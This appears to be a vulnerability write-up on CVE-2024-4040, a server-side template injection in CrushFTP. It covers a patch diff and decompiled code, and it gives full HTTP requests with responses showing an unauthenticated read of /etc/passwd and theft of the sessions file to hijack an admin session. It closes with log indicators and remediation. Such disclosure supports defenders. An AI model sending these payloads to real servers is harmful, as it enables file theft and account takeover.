Activity Feed

Indicated sources as
  • Vendor Advisory
  • News Article or Blog
4
Ratings
Technical Analysis

CVE-2024-4040 was discovered by Simon Garrelou, of Airbus CERT, and it’s a server-side template injection vulnerability for the CrushFTP managed file transfer suite. The vulnerability was reported to CrushFTP on Friday, April 19, 2024. That same day, it was patched and announced via the vendor’s security mailing list, though a CVE wasn’t assigned until Monday, April 22, 2024. The vulnerability impact is primarily unauthenticated arbitrary high-privilege file disclosure, and it can result in full compromise of CrushFTP instances via multiple paths. Additionally, Rapid7 has confirmed that it’s possible to establish remote code execution as a result of the file disclosure primitive.

Anyone running CrushFTP should patch with urgency. When the patch is applied, check for the IOCs outlined in the official Rapid7 analysis to identify any prior successful exploitation. As noted in the analysis, defenders should be aware that exploitation may be masked in logs via mangled exploit web requests.

Technical Analysis

Overview

On Friday, April 19, 2024, managed file transfer vendor CrushFTP released information to a private mailing list on a new zero-day vulnerability affecting CrushFTP versions below 10.7.1 and 11.1.0 (as well as legacy 9.x versions) across all platforms. No CVE was assigned by the vendor at time of disclosure, but a third-party CVE Numbering Authority (CNA) assigned CVE-2024-4040 as of Monday, April 22.
In the release notes for CrushFTP version 11.1.0 (the fixed version), CVE-2024-4040 was described as an issue with “authenticated sessions”.

Rapid7’s analysis of this vulnerability found that CVE-2024-4040 is fully unauthenticated and easy to weaponize. Although the vulnerability has been called an arbitrary file read, we believe it best fits within the classification of server-side template injection (SSTI) (note: the vulnerability description has been updated to reflect SSTI as the root cause as of April 24). Unauthenticated HTTPS requests are performed to the CrushFTP web interface with SSTI payloads, resulting in arbitrary file read as root, authentication bypass for administrator account access, and theft of all files stored on the instance.

Since CrushFTP in the default configuration uses reversible DES encryption for passwords, attackers can potentially recover all user passwords in plain text. Additionally, Rapid7 has confirmed that attackers can establish remote code execution with these primitives.

The vendor has indicated that the vulnerability has been exploited in the wild; as of April 24, CVE-2024-4040 has also been reported as exploited by CrowdStrike and has been added to CISA KEV. As of Tuesday, April 23, there appeared to be roughly 5,200+ instances of CrushFTP exposed to the public internet. Airbus CERT, who discovered the issue, released proof-of-concept code that triggers the vulnerability on April 23.

Analysis

Diffing the Patch

With the vulnerable and patched versions of CrushFTP in hand, we decompiled the application’s primary JAR file, CrushFTP.jar, using the CFR decompiler.

$ java -jar cfr-0.152.jar ./CrushFTP.jar --outputdir output/

Upon inspection, the file that handles most unauthenticated and authenticated API web traffic had been changed in the new version. That file, crushftp/server/ServerSessionAJAX.java, received a number of changes. One of those changes was a modification of the writeResponse function, which is responsible for building and sending HTTP responses for API requests. That change is shown below:

<         if (convertVars) {
<             response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
---
>         if (convertVars && this.thisSessionHTTP.thisSession != null) {
>             response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);

Immediately after writeResponse begins, the ServerStatus.change_vars_to_values function has been swapped out for the nicer sounding ServerStatus.change_user_safe_vars_to_values_static. What makes the patched version safe and the older approach unsafe? To figure that out, we’ll first need to make sure that the attack surface defined in this file is reachable without authentication.

Reaching ServerSessionAJAX

In order to interact with the API, we’ll need a no-privilege session as the anonymous user. Per CrushFTP security design, a session token for this pseudo-user role can be accessed by performing an unauthenticated request to any page with a /WebInterface prefix. In this case, we’ll grab a token off a 404 page for that endpoint.

GET /WebInterface/ HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
Content-Length: 38
Date: Mon, 22 Apr 2024 21:24:38 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close

The selected resource was not found.

As depicted above, a CrushAuth token is returned for the anonymous user. It should now be possible to reach the API that’s implemented by ServerSessionAJAX. We’ll confirm that by calling an API feature we don’t have permission to access: the zip function. If the anonymous token is working, we should receive an access denied message instead of “The selected resource was not found”.

POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:31:58 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 200

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:aaa
</response></commandResult>

Perfect! We should be able to reach any unauthenticated functionality in ServerSessionAJAX with our newly minted anonymous token.

Variable Replacement

With that out of the way, let’s keep looking at the API response code that was patched. As it turns out, this code path is responsible for the replacement of variables that are present in HTTPS responses, acting as a server-side templating engine. For example, when %hostname% is present in a response, this code will dynamically replace those filler entries with the appropriate variables and data. For this code path to be used, data in an API response must contain a template pattern for evaluation. The code comments below have been added for clarity.

    public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
        try {
            if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) {
                return in_str;
            }
            String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2
            String r2 = "%";
            while (r < 2) {
                String user_key2;
                String user_key;
                String key;
                int loc;
                String key2;
[..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated
                if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
                }
                if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString());
                }
                if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number"));
                }
[..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation
                if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, "");
                    thisObj.ban(user_info, 0, "msg variable");
                }
                if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, "");
                    thisObj.passive_kick(user_info);
                }
                if (in_str.indexOf("<SPACE>") >= 0) {
                    in_str = Common.space_encode(in_str);
                }
                if (in_str.indexOf("<FREESPACE>") >= 0) {
                    in_str = Common.free_space(in_str);
                }
                if (in_str.indexOf("<URL>") >= 0) {
                    in_str = Common.url_encoder(in_str);
                }
                if (in_str.indexOf("<REVERSE_IP>") >= 0) {
                    in_str = Common.reverse_ip(in_str);
                }
                if (in_str.indexOf("<SOUND>") >= 0) {
                    in_str = ServerStatus.thisObj.common_code.play_sound(in_str);
                }
                if (in_str.indexOf("<LIST>") >= 0) {
                    in_str = thisObj.get_dir_list(in_str, the_session);
                }
                if (in_str.indexOf("<INCLUDE>") >= 0) {
                    in_str = thisObj.do_include_file_command(in_str);
                }
                r1 = "{"; // In addition to percent signs, the application also searches for curly brackets
                r2 = "}";
                ++r;
            }

The vulnerability seems to be a server-side template injection! If the attacker can get their own data within %% or {} in API responses, it looks like the server will evaluate the injection and populate the attacker-provided template.

We can test this hypothesis by repeating our attempt to call the zip API. This time, we’ll inject a {hostname} template injection string via one of the arguments that will be printed in the “access denied” message.

POST /WebInterface/function/?c2f=vndQ&command=zip&path={hostname}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:39:59 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 210

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>

Excellent! The template injection worked, and our payload was evaluated to ubuntu-x64-01 in the response body. With SSTI working unauthenticated, how can we leverage this for critical impact?

Arbitrary File Read

Looking back at our possible template payloads, there are some special features that can be invoked with greater-than/less-than tag injections. For example, the <INCLUDE> tag will call the do_include_file_command function. This function is called if <INCLUDE> is present, and it takes the full API response data as its only argument.

    public String do_include_file_command(String in_str) {
        try {
            String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
            RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");
            byte[] temp_array = new byte[(int)includer.length()];
            includer.read(temp_array);
            includer.close();
            String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
            return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
        }
        catch (Exception exception) {
            return in_str;
        }
    }

The templating engine searches for the pattern <INCLUDE>.*</INCLUDE>, extracting a file path from within the two tags. The contents of that file are then fetched and embedded within the response to be returned. This functionality seems likely to expose the arbitrary file read primitive advertised in the vendor advisory. Let’s give it a shot!

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:56:44 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 3101

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false

</response></commandResult>

We’ve now established unauthenticated arbitrary file read as root.

Authentication Bypass

In CrushFTP, user session tokens are cached in a serialized object that sits in the root of the installation folder. To bypass authentication, we can read that file, spray all the session tokens within against the getUsername API, then perform malicious actions via live privileged tokens. We’ll use the {working_dir} template injection payload to leak the CrushFTP install directory, then leverage that to pull sessions.obj.

POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 22:24:46 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 241

<?xml version="1.0" encoding="UTF-8"?> 

<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/
</response></commandResult>

Now that we know the /home/researcher/CrushFTP/CrushFTP10 directory is the target’s install location, we can leak the serialized object to grab an admin user session.

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The serialized object is returned, including all currently live user sessions. With the administrator session cookie, we can gain access to all files and user credentials stored in the CrushFTP system.

serialized_object1.png

We’ll locate and grab the session cookie from the exfiltrated file in the response.

serialized_object2.png

A cURL request to a user API function confirms that we’ve acquired the administrator session cookie.

$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k
<?xml version="1.0" encoding="UTF-8"?> 
<loginResult><response>success</response><username>crushadmin</username></loginResult>

Dropping that cookie into the browser successfully logs us into the admin web console.

auth_bypass1.png

IOCs

Malicious requests to exploit the vulnerability can use seemingly any HTTPS method, and payloads can be delivered via request body parameters. The CrushFTP.log file and the log files in logs/session_logs/ will show the template injection taking place.

ACCEPT|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
POST|04/22/2024 17:47:35.661|*
POST|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
SESSION|04/22/2024 17:47:35.661|*
SESSION|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:36.367|[21_56874:anonymous:127.0.0.1] *Disconnected:*

It’s worth noting that the zip API abuse and <INCLUDE> technique leveraged here can be swapped out for other endpoints and techniques. The presence of READ values containing {, }, <, or > in logs should be considered the primary indication that exploitation has occurred. It’s also possible that attackers could establish code execution and clean logs to evade detection.

CrushFTP will also accept HTTPS requests that do not conform to RFC standards, which might be used by attackers to evade detection. Even if arbitrary strings are submitted in place of HTTPS verbs, the vulnerability can be exploited. The path can also be heavily modified while still achieving exploitation. Defenders should consider this behavior when implementing detections.

request_formatting1.png

This request will be logged in the CrushFTP.log file and within logs/session_logs/:

SESSION|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

POST|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

Requests with parameters in the request body seem to require a POST verb for exploitation to occur. However, the path can still be arbitrary data, and payloads included in these requests will be redacted with asterisks in logs.

request_formatting2.png

This request will be logged in the CrushFTP.log file and within logs/session_logs/ as shown below:

SESSION|04/23/2024 10:35:23.410|[HTTPS:84_56454:lookup:443] Accepting connection from: 127.0.0.1:56454
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *POST TEST/TESTWTESTebInterface/funTESTction/ HTTP/1.1*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *c2f:xIo4*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *path:********
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *names:/bbb*
SESSION|04/23/2024 10:35:23.412|[HTTPS:84_56454:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

ACCEPT|04/23/2024 10:27:37.610|[HTTPS:84_47426:lookup:443] Accepting connection from: 127.0.0.1:47426
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *POST /TESTWTESTebInterface/funTESTction/ HTTP/1.1*
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *command:zip*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *c2f:xIo4*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *path:********
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *names:/bbb*
POST|04/23/2024 10:27:37.611|[HTTPS:84_47426:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

Remediation

According to the vendor advisory, the following versions of CrushFTP are vulnerable as of April 23, 2024:

  • All legacy CrushFTP 9 installations
  • CrushFTP 10 before v10.7.1
  • CrushFTP 11 before v11.1.0

After updating the vulnerable software, unauthenticated and authenticated template injections into API responses are no longer evaluated, which appears to effectively mitigate the vulnerability.

The vendor states that the DMZ feature mitigates the vulnerability, but it’s likely that exploitation is still viable in some circumstances. Vulnerable software should be urgently updated via the CrushFTP administrator dashboard. Furthermore, to harden CrushFTP servers against administrator-level remote code execution attacks, Limited Server mode should be enabled with the most restrictive configuration possible. Where possible, use firewalls to aggressively restrict what IP addresses are permitted to access CrushFTP services.

References

1

Hey yyt0524, my apologies, the pull request for the module is still in review on github but can be found here:
https://github.com/rapid7/metasploit-framework/pull/19082

1

Hi, the proble is i can’t found the exploit item “windows/http/forticlient_ems_fctid_sqli”, where is it ?